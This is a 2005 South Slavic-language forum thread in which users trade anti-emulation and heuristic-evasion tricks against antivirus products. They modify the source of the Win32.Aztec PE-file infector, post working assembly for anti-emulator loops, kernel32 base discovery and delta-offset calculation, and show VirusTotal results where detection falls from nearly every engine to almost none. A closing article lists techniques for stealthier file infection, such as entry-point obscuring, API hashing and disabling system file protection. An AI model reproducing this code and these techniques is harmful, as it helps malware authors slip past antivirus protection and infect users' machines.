[ Sundance @ 09.02.2005. 07:22 ] @
Evo jedan kul anti-emu trik. Tko ga prvi skuži, plaćam pivu :>

Code:
anti_emu           equ     <dd 0FF04C033h,75C00B48h,0F40174FBh>


PS: Kolje eax!
[ zvrba @ 09.02.2005. 13:45 ] @
Hm. Kad se to asemblira pa disasemblira dobije se

Code:

00000000 <.text>:
   0:   33 c0                   xor    %eax,%eax
   2:   04 ff                   add    $0xff,%al
   4:   48                      dec    %eax
   5:   0b c0                   or     %eax,%eax
   7:   75 fb                   jne    4 <.text+0x4>
   9:   74 01                   je     c <.text+0xc>
   b:   f4                      hlt


Mrtva petlja od 255 iteracija dok eax ponovno ne postane 0 i tada je preskoci hlt.. or je suvisan jer dec vec postavi ZF kako treba.

Cemu bi moglo sluzit.. za usporenje emulacije?
[ Vojislav Milunovic @ 09.02.2005. 14:48 ] @
Da nije fora u tome sto emulator pokusava da izvrsi i instrukciju posle jmp/jcc/ret i call? Pa posle ovog je naleti na hlt?

Mislim da ovo dodje kao onaj trik kad imas dva mrtva ret gde emu izvrsava prvi ret pa kaze ajde i drugi da probam i opet se umrtvi =)
[ Sundance @ 09.02.2005. 16:26 ] @
Većina "brzih" AV preskače naizgled bespotrebnu petlju i odmah idu na sljedeću instrukciju, zbog čega neće preskočiti onaj hlt, u emulatoru će se dogoditi iznimka i on će se završiti emulaciju.

Vrlo jednostavan, vrlo glup i vrrrrlo učinkovit način za shebat većinu AV :>

U biti, AV ne emuliraju doslovno izvođenje asm koda, već ga samo simuliraju. Emulator bi bio otporan na ovaj trik, neki gluplji simulatori neće, jer će pretpostaviti da mogu preskočiti taj dio koda bez mijenjanja ZF. Ovaj je trik vrlo star, ali neki glupi AV (Norton!) ga još uvijek puše kao ništa.

Pokušat ću ponovo napisati isključivo generičku verziju PE infektora kojeg svi važniji AV detektiraju samo preko heuristika, pa ću testirati koliko je tko otporan na koju "caku" i postati ovdje rezultate. Da riješimo dilemu tko je najbolji jednom zauvijek :)


Ako još netko ima kakav biser neka javi :>
[ Sundance @ 09.02.2005. 20:13 ] @
Uzeo sam Win32.Aztec, klasika, jedan od prvih PE infektora, sors iz 29a #4, asemblirao i skenirao:

Code:

Scan results
File: aztec.bin
Date: 02/09/2005 20:58:11 (GMT+1)
----
AntiVir 6.29.0.11/20050209      found [W95/Aztec-1344]
AVG     718/20050207    found [W95/Iced.1344]
BitDefender     7.0/20050209    found [Win32.Aztec]
ClamAV  devel-20050130/20050209 found [W95.Iced.1344]
DrWeb   4.32b/20050209  found [modification of Win32.Belcebu.1376]
eTrust-Iris     7.1.194.0/20050209      found [Win32/Aztec.1344]
eTrust-Vet      11.7.0.0/20050209       found [Win32.Iced.1344]
Fortinet        2.51/20050209   found [W32/Aztec.1344]
F-Prot  3.16a/20050208  found [W32/Aztec.1344]
Kaspersky       4.0.2.24/20050209       found [Virus.Win9x.Iced.1344]
NOD32v2 1.994/20050209  found [probably unknown WIN32 virus]
Norman  5.70.10/20050207        found [W32/Iced.1344]
Panda   8.02.00/20050209        found [W95/Iced.1344]
Sybari  7.5.1314/20050209       found [W32/Iced.134]
Symantec        8.0/20050209    found [W32.Iced.1344]


Dakle svi osim NOD32 ga detektiraju preko signatura. Nakon toga sam prije PRVE instrukcije virusa dodao ovaj anti-emu snippet, i vid čuda:

Code:

Scan results
File: aztec.bin
Date: 02/09/2005 21:02:45 (GMT+1)
----
AntiVir 6.29.0.11/20050209      found [Heuristic/Virus.Win32]
AVG     718/20050207    found nothing
BitDefender     7.0/20050209    found [Win32.Aztec]
ClamAV  devel-20050130/20050209 found nothing
DrWeb   4.32b/20050209  found nothing
eTrust-Iris     7.1.194.0/20050209      found nothing
eTrust-Vet      11.7.0.0/20050209       found [Win32.Iced.1344]
Fortinet        2.51/20050209   found nothing
F-Prot  3.16a/20050208  found nothing
Kaspersky       4.0.2.24/20050209       found nothing
NOD32v2 1.994/20050209  found [probably unknown WIN32 virus]
Norman  5.70.10/20050207        found [W32/FileInfector]
Panda   8.02.00/20050209        found [Suspect File]
Sybari  7.5.1314/20050209       found [W32/NGVCK]
Symantec        8.0/20050209    found [Bloodhound.W32.2]


BRUUUUUUUUUUUUUUUUUUUUUUUKAAAAAAAAAAAAAAAAAA!!!!

Dakle odmah u prvoj rundi ih je POLA palo. Uključujući famozni KAV :)

A tek sam počeo. Duga je noć, vidjet ćemo još, hehe :)

Ajd Vojislav, killer i ostali, znam da imate po još nekog asa u rukavu, da malo pljucnemo po AV i pokažemo kako su šuplje ti današnji razvikani komercijalni AV :)
[ Vojislav Milunovic @ 09.02.2005. 20:42 ] @
Proveri mail siso =) onaj na gmail.com =)))
Da vidis kako se jebe heuristika u zdrav mozak =)))))
Vecina AV takodje trazi set instrukcija jmp/call/pop medjutim sta biva ako vas kod uopste tako i ne nalazi deltu? Sta cemo sad? tu pada heuristika, onda ajmo malo sa Thredovima da se igramo =) da vidimo kako to emulira neki AV =))
I tu padaju ko zvecke =) Ja sam ranije mislio da imena APIja se kriju zbog heuristike i slicno, medjutim to uopste nije tako...
evo 2 pravila emulacij ili heuristike (sta je sta nekako je sve blizu a opet tako daleko)
1. delta nalazenje? ne koristiti jmp/call/push nego koristiti EPO za tu svrhu
2. heuristika gleda uvek zadnji section za sumnjivim kodom
Dodajmo prazan section na kraj Rawsize = 0 RawOffset = 0, VirtualAddress = SizeOfImage VirtualSize = SectionAlignemnet, povecamo SizeOfimafe za SectionAlignment i dodamo jedan section iza optional headera =)
To je bio nacin da zeznem heuristiku, ali ovaj sa EPO je mnooooogo bolji =)))
[ Sundance @ 09.02.2005. 21:25 ] @
Da....multithreaded aplikacije se jaaako teško emuliraju. Pogotovo kad ima onu running threads enkripciju o kojom sam ti pričao :>

Sad ću dodavat caku po caku, i analizirat gdje koji AV puca. Ovaj je virus dosta star, malo ću ga modernizirati, hehe.

Citat:
1. delta nalazenje? ne koristiti jmp/call/push nego koristiti EPO za tu svrhu


Imam ideju. Da opalim nezavisnu mirko-nit koja će odrediti delta offset i zapisati ga sa WriteProcessMemory. Možda je čak i bolje nego skrivanje u domaćina.

Citat:
2. heuristika gleda uvek zadnji section za sumnjivim kodom


Ovaj kod što ja testiram jest prva generacija. Dakle nešto što bi baaaaš svi trebali naći. Ove komplikacije ćemo ostaviti za sami kraj, kad se pokaže tko ima najbolju heuristiku :>
[ Vojislav Milunovic @ 09.02.2005. 22:04 ] @
Citat:

Imam ideju. Da opalim nezavisnu mirko-nit koja će odrediti delta offset i zapisati ga sa WriteProcessMemory. Možda je čak i bolje nego skrivanje u domaćina.


Ja upravo razvijam ideju za sledeci experimentalni kod koji ce samo da se zasniva na debugging funckijama (virtualAllocEx, CreateRemoteThread, Write/Read Process memory) =) Da vidim da ovde odrade emulaciju, samo jos mi nije jasno u glavi sta sve zelim da uradim pa ce mi treba duze vreme za razradjivanje ideje =)
[ Sundance @ 09.02.2005. 23:32 ] @
Još malo bruke.......užasno velike bruke :)

Dakle, na taj sors od Win32.Aztec, samo sam izmjenio fju kojom traži bazu od kernel32.dll:
Code:

GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp


gdje su kernel_ i kernel_wNT predefinirani kao:

Code:
 
kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h


(Ovaj školski virus je star ~5 god, imate sors u 29a #4)

E ja sam taj dio zamijenio sa svojom super-nadji-kernel32 fjom koju sam napravio za potrebe svog shellcode-a :) (sorry na lošem formatiranju, ne da mi se sad dotjerivat :) :

Code:

GetK32:              
            call    __tab                    ; kernel imagebase table for different versions of vindoze:
            dd    077E00000h                ; NT/W2k
            dd    077E80000h                ; NT/W2k
            dd    077ED0000h                ; NT/W2k
            dd    077F00000h                ; NT/W2k
            dd    0BFF70000h                ; 95/98
            dd    077E60000h                ; XP home
            dd    0BFF60000h                ; Me

__tab:            pop    esi
            push    7
            pop    ebx                    ; ebx = counter

__nxt_base:        dec    ebx
            lodsd                        ; take one imagebase
            call    _krnl_check                ; and check it
            jecxz    __got_kernel

            test    ebx, ebx                ; check table end
            jnz    __nxt_base

            mov    eax, fs:[TEB_PEB]            ; take ptr to PEB
            test    eax, eax                ; > 80000000h ?
            js    __PEB_try                ; !NT
    
                   mov    eax, [eax.PEB_PebLdrData]
            mov    esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink]
            lodsd                        ; go to second entry
             mov    eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink]
            call    _krnl_check

            jecxz    __got_kernel
            
__PEB_try:        call    __PEB_x
            mov     esp,[esp.EH_EstablisherFrame]        ; set SEH frame manually
            jmp    __PEB_failed
__PEB_x:        xor    eax, eax
            push    dword ptr fs:[eax]
            mov    fs:[eax], esp
            mov    eax, fs:[TEB_PEB]            ; *PEB
            mov    eax, [eax+34h]
            mov    eax, [eax+0b8h]                ; now eax should be kernel's imagebase
            call    _krnl_check
__PEB_failed:        @SEH_RemoveFrame
            jecxz    __got_kernel
            
__rec_scan:        mov    eax, [esp.(2*Pshd).Arg1.cPushad]    ; take kernel return address. skip pushad, SEH and one call
            and    eax, -1 shl 16                ; align to 10 pages
            add    eax, 2 shl 15                ; add 10 pages

__1:            sub    eax, 2 shl 15                ; and loop per 10 pages
            call    _krnl_check
            jecxz    __got_kernel

            jmp    __1                    ; we r gonna find that bloody kernel :)

__got_kernel:        ret

_krnl_check:        mov    ecx, eax                ; gotta set ecx so that we can return true
            pusha

            call    __temp
            mov    esp, [esp.EH_EstablisherFrame]        ; set SEH manually
            jmp    __end_k

__temp:            xor    edx, edx
            push    dword ptr fs:[edx]
            mov    fs:[edx], esp

            mov    edx, [eax.MZ_lfanew]            ; take RVA to PE header
            mov    ebx, [edx+eax]                ; check PE signature
            xor    ebx, 'SUN'                ; indirectly
            sub    ebx, IMAGE_NT_SIGNATURE xor 'SUN'    ; lil sig
            jnz    __end_k

            cmp    eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase]    ; check the predefined imagebase
            jnz    __end_k

            xor    ecx, ecx                ;no kernel for us :(

__end_k:        @SEH_RemoveFrame
            mov    [esp.Pushad_ecx], ecx
            popa
                     
__end:            retn


Pošto je ona stara metoda donekle obsoletna...i opalim ja sken....i šta to moje oči vide:

Code:

Scan results
File: aztec.bin
Date: 02/09/2005 23:51:51 (GMT+1)
----
AntiVir 6.29.0.11/20050209      found nothing
AVG     718/20050207    found nothing
BitDefender     7.0/20050209    found nothing
ClamAV  devel-20050130/20050209 found nothing
DrWeb   4.32b/20050209  found nothing
eTrust-Iris     7.1.194.0/20050209      found nothing
eTrust-Vet      11.7.0.0/20050209       found nothing
Fortinet        2.51/20050209   found nothing
F-Prot  3.16a/20050208  found [could be infected with an unknown virus]
Kaspersky       4.0.2.24/20050209       found nothing
NOD32v2 1.994/20050209  found [probably unknown WIN32 virus]
Norman  5.70.10/20050207        found nothing


Samo su Orion emulacijski engine iz f-prota i NOD32 u igri. A nisam ni počeo se igrati sa višenitnim stvarčicama, enkripcijom, pikanterijama OS-a... :>

Idemo dalje.
[ Mikky @ 09.02.2005. 23:34 ] @
Evo moj skromni doprinos - nesto cime sam se zezao pre par godina (pre nego sto sam shvatio da od toga nema 'leba )
Nisam siguran da li je ovo vec provaljena fora al nema veze

Code:

start:                                    ; entry point
        call delta_handle                ; uzimam delta handle na malo nestandardan nacin
delta_handle:                           ; neki heuristcki skeneri nece ovo prepoznati
        mov    ebp,[esp]                    ; kao virii kod (upalilo je kod NOD32)
        add    esp,4                        ; za 1st generaciju
        sub    ebp, offset delta_handle
[ Vojislav Milunovic @ 10.02.2005. 00:00 ] @
E jebo si mu kevu sto si napisao rutinu za trazenje kernela =)))
Zar nije bilo prostije da skeniras SEH ? =)
Imaj malo milosti prema svojim ortacima koji moraju da citaju ovaj kod =)))
I gde vrisis to skeniranje? Na netu? ili imas sve AVove kod kuce =)
[ Sundance @ 10.02.2005. 01:58 ] @
Citat:
Vojislav Milunovic: E jebo si mu kevu sto si napisao rutinu za trazenje kernela =)))


:)

Pa šta joj fali? Baš je "jeba*ka". Koristi kombinaciju svih poznatih metoda koje nešto valjaju :)

Citat:
Zar nije bilo prostije da skeniras SEH ? =)


Misliš PEB/TEB blok? Mislim da je onaj SEH koji prvo testira baze kernela na ne-winXP platformama i ubio većinu emulatora. Baš ću to sad probat.

Tako star anti-debugging trik, a da se primjeniti i na obsfukiranje execution-flowa :>

Citat:
Imaj malo milosti prema svojim ortacima koji moraju da citaju ovaj kod =)))


Pisao sam ja i ružnijeg koda :>

Mogli bi i bacit neko natjecanje, tko će u manje bajtova napraviti neki infektor? Ne mora biti za PE, možemo i ELF. Evo ovdje sam jučer slučajno naletio asm tut za BSD. Znam da imaš nezavršen jedan virus za BSD, možda ti bude zanimljivo :> Samo bad je što mi se neće instalirati pa moram pod VMware ga pičit :(

Citat:
I gde vrisis to skeniranje? Na netu? ili imas sve AVove kod kuce =)


http://www.virustotal.com/flash/index_en.html
[ Vojislav Milunovic @ 10.02.2005. 02:29 ] @
Ma ne bas sam mislio SEH, pogledaj source sto sam ti poslao =)
Doduse to jeste deo TEBa ali bas mislim na pointer i handler u okviru SEH, ono dok ne dodjes do 0XFFFFFFFF e kad nadjes taj handle onda je SEH ispred pointer na kernel32.dll pa samo umanjujes adresu 0x10000 i normalno obrises low word pre toga i tako trazis MZ =) Ne moz da omane =)

http://nonenone.net/freebsd_tut.txt pa znam ja kako se pozivaju API na FreeBSD =)
Uvek moras da imas jedan dummy dword pre int 0x80 =)))
[ Vojislav Milunovic @ 10.02.2005. 02:40 ] @
Code:

Results of a file scan
This is the report of the scanning done over "iexplore.ex_" file that VirusTotal processed on 02/10/2005 at 03:36:07 (GMT+1).
Antivirus Version Update Result 
AntiVir 6.29.0.11 02.09.2005 no virus found 
AVG 718 02.07.2005 no virus found 
BitDefender 7.0 02.09.2005 no virus found 
ClamAV devel-20050130 02.10.2005 no virus found 
DrWeb 4.32b 02.09.2005 no virus found 
eTrust-Iris 7.1.194.0 02.10.2005 no virus found 
eTrust-Vet 11.7.0.0 02.09.2005 no virus found 
Fortinet 2.51 02.09.2005 no virus found 
F-Prot 3.16a 02.08.2005 no virus found 
Kaspersky 4.0.2.24 02.10.2005 no virus found 
NOD32v2 1.995 02.10.2005 no virus found 
Norman 5.70.10 02.07.2005 no virus found 
Panda 8.02.00 02.09.2005 no virus found 
Sybari 7.5.1314 02.10.2005 no virus found 
Symantec 8.0 02.09.2005 no virus found 


lol =) Jos niko =)
[ Sundance @ 10.02.2005. 02:42 ] @
Citat:
Vojislav Milunovic: Ma ne bas sam mislio SEH, pogledaj source sto sam ti poslao =)
Doduse to jeste deo TEBa ali bas mislim na pointer i handler u okviru SEH, ono dok ne dodjes do 0XFFFFFFFF e kad nadjes taj handle onda je SEH ispred pointer na kernel32.dll pa samo umanjujes adresu 0x10000 i normalno obrises low word pre toga i tako trazis MZ =) Ne moz da omane =)


Tako Aztec izvorno i koristi, align na 10 page-va je klasika :>

Bolje je prvo lookup tablica, pa PEB, pa tek onda ta metoda jer je jako spora pošto za svako "fulavanje" se opali iznimka koja troši tisuće CPU ciklusa :>

Citat:
http://nonenone.net/freebsd_tut.txt pa znam ja kako se pozivaju API na FreeBSD =)
Uvek moras da imas jedan dummy dword pre int 0x80 =)))


Koliko ti je trebalo za ovaj textić, 10 min da ga napišeš? :) Šala :)

Dobar ovaj BSD, mnogo mi se više sviđa nego onaj đumbus od linuxa :>
[ Sundance @ 10.02.2005. 09:03 ] @
Evo, nakon temeljitog peterosatnog testiranja mogu reći da od testiranih AV samo NOD32, Panda i f-prot imaj nešto što se može nazvati heurističkim engine-om. Ostali su svi ostali baš totalno s*****.

Prešao sam većinu najčešćih caka, gornja 3 ovaj modificirani Aztec detektiraju baš isključivo preko heuristika, dok fakin neuništivi Symantec još uvijek nalazi Bloodhound.W32.2 :) Mislim, znam da koristi klasičnu signaturu, samo još nisam "upecao" o kojem se snippetu koda radi :)

Eto, tek tako da se zna :) Napisat ću tokom dana opširnije komentare, a sljedeću noć idemo na nasty anti-emu trikove, hehe.

Btw Mikky onaj tvoj trik naravno ne djeluje protiv NOD32, ali zato f-prot ga ne prijavi! Kasnije, kad napravim još neke modifikacije, prijavi ga. Pa kad još neke, ne prijavi, sad kad sam unakazio ovaj Aztec opet ga prijavljue. Čudan ovaj f-prot :>

Mogu vam reći da nakon što sam ovo prošao, ne bih se čudio da neki AV ovo detektiraju kao win32.Aztec:

Code:

#include <windows.h>

char* oznaka1 = "[Win32.Aztec v1.01]";
char* oznaka2 = "(c) 1999 Billy Belcebu/iKX";

int main()
{
       MessageBox(0, "Aztec is a bugfixed version of my Iced Earth\nvirus, with some optimizations and with some\r"
                     "'special' features removed. Anyway, it will\r"
                     "be able to spread in the wild succefully :)\r"
                     "(c) 1999 by Billy Belcebu/iKX", "[Win32.Aztec v1.01]", 0);
}


Pravo čudo kako neki AV imaju muda govoriti da imaju heuristike. Imaju qrac!
[ Vojislav Milunovic @ 10.02.2005. 15:02 ] @
Haha ko je to presao na C =))))
[ Sundance @ 11.02.2005. 01:50 ] @
Ma dobar je C za ovako nešto na brzinu. Mada je C# za klasu produktivniji alat :>

Evo u C# složio programčić koji može slati mejl direktno na virustotal sa mojim testnim sample-om kao attachmentom, tako da ne moram svaki put ručno slati već ga mogu staviti u .bat gdje asembliram virii. U C-u bi trebao koristiti neku opskurnu biblioteku za SSL, a pazi kako je to u C# jednostavno:

Code:

public static void SaljiMejl()
        {
            MailMessage mejl = new MailMessage();
            mejl.From = "[email protected]";
            mejl.To = "[email protected]";
            mejl.Subject = "SCAN";
            mejl.Body = "SCAN";
            mejl.Attachments.Add(new MailAttachment(argv[1]));
            mejl.BodyFormat = MailFormat.Text;
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtsperver"] = "smtp.gmail.com";
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpserverport"] = 25;
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendusing"] = 2;            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"] = 1;
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendusername"] = "sunnis";
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendpassword"] = "xxxxxxxxxxxxx";
            mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpusessl"] = 1;

            try
            {
                SmtpMail.SmtpServer = "smtp.gmail.com";
                SmtpMail.Send(mejl);
            }
            catch (System.Web.HttpException ehttp)
            {
                Console.WriteLine(ehttp.Message + "\n" + ehttp.ToString());
            }
        }


Dodaš ga još kao hotkey u ultraedit i stvar je rješena :> Samo je bad što moraš ručno gledati rezultat preko webmail sučelja, ali što je tu je, ionako čekaš po 10-ak min, a gmail se sam refresha :>

[ Vojislav Milunovic @ 11.02.2005. 02:11 ] @
Ma idi begaj, i sta mu dodje ovo cudo http://microsoft.com...
A zar smtp.gmail.com ne ide preko 465 i ne trazi autentifikaciju? =)))
[ Sundance @ 11.02.2005. 02:47 ] @
Pogledaj malo bolje pa ćeš vidjeti da postoje i username i pass :>>

A može i preko 465 ili whatever, iako koristi SSL :> Oni Fields[] elementi su jaaako nedukementirane XML šeme koje interno koristi CDO API, preko koga je implementirana System.Web.Mail.MailMessage klasa. Ovo je totalno nedokumentirano, pogledaj samo na MSDN što piše. NIŠTA! LOL!

Ima na webu sve i svašta za CDO, ali nisam našao nijedan primjer koji koristi SSL, a kojeg gmail zahtijeva. Samo gomila lamera moli da im netko napiše managed wrappere :))

Ludnica.
[ Sundance @ 11.02.2005. 07:08 ] @
Bloodhound.W32.2

Citat:
The virus name Bloodhound.W32.2 is used exclusively by Symantec antivirus products when a potentially unknown virus is found using Symantec Bloodhound technology. Bloodhound technology consists of heuristic algorithms that are used to detect unknown viruses. The actual file that is detected under Bloodhound.W32.2 is likely to be infected with a new Win32 file-infecting virus.


Citat:
Bloodhound.W32.2 is detected only in Portable Executable (PE) files. Such viruses might be able to replicate on Windows 95, 98, Me, NT, 2000, and XP systems. Bloodhound.W32.2 can detect different types of viruses, including some difficult polymorphic or metamorphic viruses.




Mirror, mirror, on the wall, what's the stupidest AV heuristics of them all?



Code:

MSH>cat nort.asm
              p586
              model  flat

              .data

              db ?

              .code

t:            push          eax
              div           ecx
              pop           eax
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              movzx         eax, word ptr [edi+06h]
              dec           eax
              imul          eax, eax, 28h
              add           esi, 78h
              mov           edx, [edi+74h]
              shl           edx, 3
              mov           edx, [esi+10h]
              mov           eax, [esi+0Ch]

              push          eax
              div           ecx
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              or            dword ptr [esi+24h],0A0000020h

end           t
MSH>.\nort.bat

C:\TASM\test>del nort.bin

C:\TASM\test>tasm32 /ml /m3 nort,,;
Turbo Assembler  Version 5.3  Copyright (c) 1988, 2000 Inprise Corporation

Assembling file:   nort.ASM
Error messages:    None
Warning messages:  None
Passes:            1


C:\TASM\test>tlink32 /Tpe /aa /c /v nort,nort,,import32.lib,
Turbo Link  Version 1.6.71.0 Copyright (c) 1993,1996 Borland International
Warning: Debug information enabled, but no debug information found in OBJs

C:\TASM\test>pewrsec nort.exe
PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A

Ok

C:\TASM\test>rename nort.exe nort.bin

C:\TASM\test>sendmail c:\tasm\test\nort.bin
Datoteka uspješno poslana!
MSH>

(sad u gmail se prebacim):

Scan results
File: nort.bin
Date: 02/11/2005 08:03:37 (GMT+1)

- Hide quoted text -
----
AntiVir 6.29.0.11/20050210      found nothing
AVG     718/20050210    found nothing
BitDefender     7.0/20050210    found nothing
ClamAV  devel-20050130/20050210 found nothing
DrWeb   4.32b/20050210  found nothing
eTrust-Iris     7.1.194.0/20050210      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050211   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050211       found nothing
NOD32v2 1.996/20050210  found nothing
Norman  5.70.10/20050207        found nothing
Panda   8.02.00/20050210        found nothing
Sybari  7.5.1314/20050211       found nothing
Symantec        8.0/20050210    *****found [Bloodhound.W32.2]*****



U biti sam skužio kako zaobići heruistike svakog od njh na testu, ovo sa Symantecom je samo sprdnja :> U biti mogu napraviti false positive generator za svaki AV :>

Tut stiže većeras ili....kad uhvatim slobodnog vremena. Ovako loši proizvodi zaslužuju jednu poštenu demistifikaciju.
[ Vojislav Milunovic @ 11.02.2005. 15:16 ] @
Znaci sugavi Symantec je pobednik?!!?!?
[ Sundance @ 11.02.2005. 16:37 ] @
Au contraire mon ami, Symantec je najgluplji od svih :)
[ Vojislav Milunovic @ 11.02.2005. 16:55 ] @
haha vidim volis Herkula Poaroa =))))

[ Sundance @ 12.02.2005. 06:51 ] @
U ovom ću kratkom članku (za dužu verziju tko plati više :) pokazati kakvo su s***** današnji AV i kako su primitivne njihove so-called generičke zastite za viruse za koji još ne postoje definicije, u narodu poznate kao heuristike.

Za primjerak sam odabrao klasiku, old skul primjerak PE infektora - Win32/Aztec virus iz poznatog tutoriala Billy Belcebu-a Billy Belcebu Virus Writing Guide 1.00 for Win32. Taj tutorial je star...prilično, i predstavlja jedan od prvih tutoriala kako pisati Win32 viruse. U to vrijeme nije bilo puno dokumentacije, ljudi nisu puno znali o windows internals pa su se snalazili kako mogu :>

E sad se malo pozabavimo Win32/Aztec. Aztec je klasičan PE infektor, praktički najelementarniji i najjednostavniji mogući virus koji se može napisat. Neke od tehnika koje Billy opisuje i koristi u svome tutorialu su obsoletne, te su danas pronađeni sigurniji i bolji ekvivalenti. Aztec je virus koji i dan dana ima hrpicu varijacija - budući da je Billy-ev tut praktički početnica za Win32 viruse, svaki 'aker početnik napravi neku svoju verziju koja se malo razlikuje od dotičnog virusa. Recimo ne inficira datoteke u Windows direktoriju, nego u Program Files :))) Šala. Evo i dan danas (11.2.2005), gledam dnevni update od NOD32, i sto to vidim: Win32/Aztec.1344, Win32/Aztec.1356 :))

Dakle, šta radi ovaj Aztec.

-> Kad se pokrene prvo na klasičan način računa delta offset
-> Nakon toga traži bazu u memoriji od kernel32.dll tako što koristi SEH-zaštićenu petlju, spuštajući se po 10 page-va u odnosu na adresu iz koje virus pozvan u memoriji
-> Nakon toga traži adrese API-ja koji su mu potrebni tako sto parsira export tablicu kernel32.dll. Imena API-ja su pohranjeni kao statički stringovi
-> Nakon toga sprema u sebe stringove koji predstavljaju Windows direktorij, sistemski direktorij i trenutni direktorij
-> Nakon toga u petlji u svakom od tih direktorija inficira po 5 datoteka sa maskom "*.exe"
-> Rutina za inficiranje je klasika: MMF + potpis u jednom od rezerviranih polja PE headera, stavlja svoj potpis "AZTC" čime označava već inficirane datoteke kako se nebi dogodila višestruka infekcija
-> Inficirane datoteke e imati entrypoint preusmjeren na tijelo virusa koje je pridodano zadnjoj sekciji, kojoj je usto postavljen +w atribut.

Dakle, sve u svemu klasika. Danas, da netko piše virus, malo bi što koristio od gore navedenog:

-> Delta offset se računa u letu, ili ga daje inficirani domaćin, ili se uopće ne oduzima onaj "offset delta" čime se dobijaju manji opkodi i smanjuju zastavice za heuristike
-> Adresa kernel32.dll se u 4 instrukcije vadi iz PEB-a
-> Adrese API-ja se pohranjuju kao neki jednostavni hashevi (CRC32, Adler-32, neki glupi rot + shift algo...)
-> Ne inficiraju se sistemske datoteke bez da se prethodno ne isključi SFP/WFP, jer ih win po defaultu vrati čim se oni promijene. Osim toga, nadgleda ih i većina AV.
-> MMF se još uvijek koriste, ali potpisi se ne ostavljaju preko nekih takvih očitih signatura koje se mogu vidjeti u hex editoru. Obično se provjerava da li je aktivan mutex/postoji globalni atom/da li je dužina datoteke modulo <neki broj> = magičan broj/umetni matematički što perverzniji algoritam iz teorije brojeva po želji, tj. nešto puuuno manje sumnjivo, tj. nešto sto se moze odrediti tek @ runtime, a ne za vrijeme statičke analize koda :)
-> NE INFICIRA se zadnja sekcija osim ako se baš i ne mora :) POGOTOVO se entrypoint prve instrukcije programa ne preusmjerava u nju. Ako se inficira zadnja sekcija, koristi se EPO za redirekcju kontrolnog toka izvođenja, a ne redirekcija OH_AddressOfEntryPoint polja. I zaražena sekcija nema IMAGE_SCN_MEM_WRITE bit postavljen, već se u letu mijenjaju permisije page-eva s VirtualProtectEx, ili se tijelo virusa kopira na stog koji je obicno (gle čuda :) writable. Mada na novijim procesorima sa NX/EDB bitom + DEP neće biti executable, ali njih rijetko tko ima danas :>>>

Dakle, manje više se u tih 5-6 godina koliko je ovaj virus star sve živo promijenilo :)

Ono....trebali bi ga svi AV detektirati kao od šale. Dakle što dobijemo skeniranjem korištenjem virustotal servisa:

Code:

Scan results
File: aztec.bin
Date: 02/12/2005 03:02:37 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W95/Aztec-1344]
AVG     718/20050210    found [W95/Iced.1344]
BitDefender     7.0/20050211    found [Win32.Aztec]
ClamAV  devel-20050130/20050211 found [W95.Iced.1344]
DrWeb   4.32b/20050211  found [modification of Win32.Belcebu.1376]
eTrust-Iris     7.1.194.0/20050212      found [Win32/Aztec.1344]
eTrust-Vet      11.7.0.0/20050211       found [Win32.Iced.1344]
Fortinet        2.51/20050212   found [W32/Aztec.1344]
F-Prot  3.16a/20050210  found [W32/Aztec.1344]
Kaspersky       4.0.2.24/20050212       found [Virus.Win9x.Iced.1344]
NOD32v2 1.997/20050211  found [Win32/Aztec.1344]
Norman  5.70.10/20050211        found [W32/Iced.1344]
Panda   8.02.00/20050211        found [W95/Iced.1344]
Sybari  7.5.1314/20050212       found [W95/Iced.1344]
Symantec        8.0/20050211    found [W32.Iced.1344]


Dakle svi ga detektiraju manje-više. Billy veli da je Aztec nastao kao varijacija Iced virusa, pa ga neki i kao takvog imaju u bazi :>

E sad se počnimo igrati. Kao što sam spomenuo na samom početku ove teme, imamo jedan uberkul komadić koda koji ide ovako:

Code:

anti_emu           equ     <dd 0FF04C033h,75C00B48h,0F40174FBh>


Šta ovaj komadić koda radi, pročitajte na početku ove teme :>

U biti je kod jaaaaako, jaaaako glup. Općenito se anti-emu forice sastoje od nekih trikova kod kojih će emulator "krivo pretpostaviti" šta kod radi. U ovom slučaju su krivo procijenili petlju, pa su pretpostavili da će se izvršiti hlt instrukcija koja će, pošto se program izvodi pod ring3, uzrokovati iznimku i emulacija će se završiti.

Druge, općenite, cake su sl. ovoj i općenito se sastoje od eksploatiranja nedostatatka znanja AV-a o okolini u kojoj se virus izvodi. Recimo, korištenje nedokumentiranih memorijskih lokacija (PEB/TEB je idealan!, mogu i neki dijelovi sistemskih DLL-ova..), caka vezanih za pojedini OS (recimo cs selektor, njegova pretpostavljena vrijednost na NT familiji) koje se mogu iskoristiti za generiranje grananja koda, prije AV nisu dobro emulirali retf (far return), pa ako bi radio push offset func, push cs, retf - ne bi skužio :> ....poanta je napraviti što VIŠE takvih potencijalno nepoznatih grananja, sa što vise slijepih ulica, kako bi AV jako teško "upiknuo" onu pravu.

AV je vremenski i resursima jako ograničen pri analizi pojedine datoteke. Također, svaka heuristika je kao mini virtualna mašina - zna PUNO toga o detaljima OS-a kojeg emulira, ali ne zna SVE, tj. postoje rupice koje virus može eksploatirati kako bi izbjegao život u matrixu :) U biti su heuristike baš to -> OS so real that you wouldn't know the difference between the emuOS and the realOS...............you think that's the memory you're reading? :>>>

